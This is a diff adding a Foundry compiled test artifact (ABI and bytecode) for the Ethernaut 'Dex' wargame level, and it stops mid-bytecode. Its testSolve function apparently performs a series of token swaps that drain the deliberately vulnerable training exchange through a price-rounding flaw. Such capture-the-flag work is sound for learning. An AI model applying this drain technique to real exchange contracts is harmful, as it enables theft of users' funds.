b/contracts/out/Dex.t.sol/TestDex.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b506182ca806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001ee1565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001f24565b620001b3620001fa36600462002010565b62000a2b565b6200020a62000bf6565b604051620001c79190620020e3565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c79190620021a6565b620001da6200025736600462002273565b62000ef8565b6200019a62001088565b6200027162001589565b604051620001c791906200228b565b620001b362000291366004620022f1565b6200165e565b620002376200177d565b620002b8620002b23660046200230f565b62001877565b6040519015158152602001620001c7565b6200027162001a07565b6200019a62001adc565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001b75565b620001da62001c49565b6200019a6200032f36600462002273565b62001ca9565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f815181106200036757620003676200234b565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b50505050806001815181106200044957620004496200234b565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200165e565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001e91565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f9190810190620023ec565b905080600182516200098291906200257c565b815181106200099557620009956200234b565b60200260200101515f0151600281518110620009b557620009b56200234b565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002592565b90505f81848560405160200162000acd929190620025e4565b60408051601f198184030181529082905262000aed929160200162002692565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b51908590600401620026c4565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002592565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001d1d90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b90620026d8565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb990620026d8565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001f72565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb4919062002712565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f6200234b565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f60215f9054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562001148573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200116e919062002712565b90505f60215f9054906101000a90046001600160a01b03166001600160a01b03166325be124e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015620011c2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011e8919062002712565b60215460405163095ea7b360e01b81526001600160a01b03918216600482015260c8602482015291925083169063095ea7b3906044016020604051808303815f875af11580156200123b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001261919062002730565b5060215460405163095ea7b360e01b81526001600160a01b03918216600482015260c860248201529082169063095ea7b3906044016020604051808303815f875af1158015620012b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620012d9919062002730565b50602154604051630df791e560e41b81526001600160a01b0384811660048301528381166024830152600a60448301529091169063df791e50906064015f604051808303815f87803b1580156200132e575f80fd5b505af115801562001341573d5f803e3d5ffd5b5050602154604051630df791e560e41b81526001600160a01b038581166004830152868116602483015260146044830152909116925063df791e5091506064015f604051808303815f87803b15801562001399575f80fd5b505af1158015620013ac573d5f803e3d5ffd5b5050602154604051630df791e560e41b81526001600160a01b038681166004830152858116602483015260186044830152909116925063df791e5091506064015f604051808303815f87803b15801562001404575f80fd5b505af115801562001417573d5f803e3d5ffd5b5050602154604051630df791e560e41b81526001600160a01b0385811660048301528681166024830152601e6044830152909116925063df791e5091506064015f604051808303815f87803b1580156200146f575f80fd5b505af115801562001482573d5f803e3d5ffd5b5050602154604051630df791e560e41b81526001600160a01b038681166004830152858116602483015260296044830152909116925063df791e5091506064015f604051808303815f87803b158015620014da575f80fd5b505af1158015620014ed573d5f803e3d5ffd5b5050602154604051630df791e560e41b81526001600160a01b0385811660048301528681166024830152602d6044830152909116925063df791e5091506064015f604051808303815f87803b15801562001545575f80fd5b505af115801562001558573d5f803e3d5ffd5b50506020546021546200158593506200157f92506001600160a01b03918216911662001877565b62001dbf565b5050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620015cc90620026d8565b80601f0160208091040260200160405190810160405280929190818152602001828054620015fa90620026d8565b8015620016495780601f106200161f5761010080835404028352916020019162001649565b820191905f5260205f20905b8154815290600101906020018083116200162b57829003601f168201915b505050505081526020019060010190620015ac565b5f806040516200166e9062001e9f565b604051809103905ff08015801562001688573d5f803e3d5ffd5b5090505f6040516200169a9062001ead565b604051809103905ff080158015620016b4573d5f803e3d5ffd5b508483604051620016c59062001ebb565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620016ff573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200175e575f80fd5b505af115801562001771573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200185e57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200180a5790505b50505050508152505081526020019060010190620017a0565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620018d3575f80fd5b505af1158015620018e6573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001944575f80fd5b505af115801562001957573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620019bb573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620019e49190810190620023ec565b9050600181511115620019fc57600191505062001a01565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f2001805462001a4a90620026d8565b80601f016020809104026020016040519081016040528092919081815260200182805462001a7890620026d8565b801562001ac75780601f1062001a9d5761010080835404028352916020019162001ac7565b820191905f5260205f20905b81548152906001019060200180831162001aa957829003601f168201915b50505050508152602001906001019062001a2a565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001b33575f80fd5b505af115801562001b46573d5f803e3d5ffd5b505060205460215462001b73935062001b6d92506001600160a01b03918216911662001877565b62001e3e565b565b6008545f9060ff161562001b8d575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001c1c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001c42919062002751565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f62001cb6824362002769565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001d7490869086906004016200277f565b5f60405180830381865afa15801562001d8f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001db89190810190620027b0565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001e24575f80fd5b505afa15801562001e37573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001e0d565b6123a580620027e783390190565b610ae58062004b8c83390190565b611e7a806200567183390190565b610daa80620074eb83390190565b6001600160a01b038116811462001ede575f80fd5b50565b5f805f6060848603121562001ef4575f80fd5b833562001f018162001ec9565b9250602084013562001f138162001ec9565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001f665783516001600160a01b03168352928401929184019160010162001f3f565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001fac5762001fac62001f72565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001fde5762001fde62001f72565b604052919050565b5f67ffffffffffffffff82111562002002576200200262001f72565b50601f01601f191660200190565b5f6020828403121562002021575f80fd5b813567ffffffffffffffff81111562002038575f80fd5b8201601f8101841362002049575f80fd5b8035620020606200205a8262001fe6565b62001fb2565b81815285602083850101111562002075575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b83811015620020ae57818101518382015260200162002094565b50505f910152565b5f8151808452620020cf81602086016020860162002092565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200219757603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b818110156200218057605f198885030183526200216d848651620020b6565b948d01949350918c01916001016200214e565b505050968901969350509087019060010162002108565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b838110156200226557888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b808310156200224f5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a01906200220b565b50968901969450505090860190600101620021cd565b509098975050505050505050565b5f6020828403121562002284575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b82811015620022e457603f19888603018452620022d1858351620020b6565b94509285019290850190600101620022b2565b5092979650505050505050565b5f6020828403121562002302575f80fd5b813562001db88162001ec9565b5f806040838503121562002321575f80fd5b82356200232e8162001ec9565b91506020830135620023408162001ec9565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff8211156200237b576200237b62001f72565b5060051b60200190565b5f620023956200205a8462001fe6565b9050828152838383011115620023a9575f80fd5b62001db883602083018462002092565b5f82601f830112620023c9575f80fd5b62001db88383516020850162002385565b8051620023e78162001ec9565b919050565b5f6020808385031215620023fe575f80fd5b825167ffffffffffffffff8082111562002416575f80fd5b818501915085601f8301126200242a575f80fd5b81516200243b6200205a826200235f565b81815260059190911b830184019084810190888311156200245a575f80fd5b8585015b838110156200255b5780518581111562002476575f80fd5b86016060818c03601f190112156200248c575f80fd5b6200249662001f86565b8882015187811115620024a7575f80fd5b8201603f81018d13620024b8575f80fd5b89810151620024cb6200205a826200235f565b81815260059190911b8201604001908b8101908f831115620024eb575f80fd5b6040840193505b828410156200250d5783518252928c0192908c0190620024f2565b845250505060408201518781111562002524575f80fd5b620025348d8b83860101620023b9565b8a830152506200254760608301620023da565b60408201528452509186019186016200245e565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562001a015762001a0162002568565b5f60208284031215620025a3575f80fd5b815167ffffffffffffffff811115620025ba575f80fd5b8201601f81018413620025cb575f80fd5b620025dc8482516020840162002385565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200261d81600585016020880162002092565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200265c81600a84016020880162002092565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620026a581846020880162002092565b835190830190620026bb81836020880162002092565b01949350505050565b602081525f62001db86020830184620020b6565b600181811c90821680620026ed57607f821691505b6020821081036200270c57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002723575f80fd5b815162001db88162001ec9565b5f6020828403121562002741575f80fd5b8151801515811462001db8575f80fd5b5f6020828403121562002762575f80fd5b5051919050565b8082018082111562001a015762001a0162002568565b604081525f620027936040830185620020b6565b8281036020840152620027a78185620020b6565b95945050505050565b5f60208284031215620027c1575f80fd5b815167ffffffffffffffff811115620027d8575f80fd5b620025dc84828501620023b956fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61232b8061007a5f395ff3fe6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d36600462000929565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec3660046200094e565b620005e4565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a6200012136600462000929565b6200079c565b6200013162000836565b6200013c5f62000891565b565b5f806040516200014e90620008f8565b604051809103905ff08015801562000168573d5f803e3d5ffd5b5090505f8190505f81606e604051620001819062000906565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20310000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e310000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff0801580156200021b573d5f803e3d5ffd5b5090505f82606e604051620002309062000906565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20320000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e320000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff080158015620002ca573d5f803e3d5ffd5b506040517fcbc7854e0000000000000000000000000000000000000000000000000000000081526001600160a01b0380851660048301528083166024830152919250839183919087169063cbc7854e906044015f604051808303815f87803b15801562000335575f80fd5b505af115801562000348573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b038881166004830152606460248301528716925063095ea7b391506044016020604051808303815f875af115801562000399573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003bf91906200098a565b5060405163095ea7b360e01b81526001600160a01b0386811660048301526064602483015284169063095ea7b3906044016020604051808303815f875af11580156200040d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200043391906200098a565b506040516256688760e81b81526001600160a01b038381166004830152606460248301528716906356688700906044015f604051808303815f87803b1580156200047b575f80fd5b505af11580156200048e573d5f803e3d5ffd5b50506040516256688760e81b81526001600160a01b0384811660048301526064602483015289169250635668870091506044015f604051808303815f87803b158015620004d9575f80fd5b505af1158015620004ec573d5f803e3d5ffd5b505060405163a9059cbb60e01b81526001600160a01b038b81166004830152600a60248301528716925063a9059cbb91506044016020604051808303815f875af11580156200053d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200056391906200098a565b5060405163a9059cbb60e01b81526001600160a01b038981166004830152600a602483015284169063a9059cbb906044016020604051808303815f875af1158015620005b1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005d791906200098a565b5093979650505050505050565b5f80836001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000623573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006499190620009ab565b90505f846001600160a01b03166325be124e6040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000689573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006af9190620009ab565b6040516370a0823160e01b81526001600160a01b038781166004830152919250908316906370a0823190602401602060405180830381865afa158015620006f8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200071e9190620009c9565b15806200079357506040516370a0823160e01b81526001600160a01b0386811660048301528216906370a0823190602401602060405180830381865afa1580156200076b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007919190620009c9565b155b95945050505050565b620007a662000836565b6001600160a01b038116620008285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620008338162000891565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200081f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610ae180620009e283390190565b610e3380620014c3833901905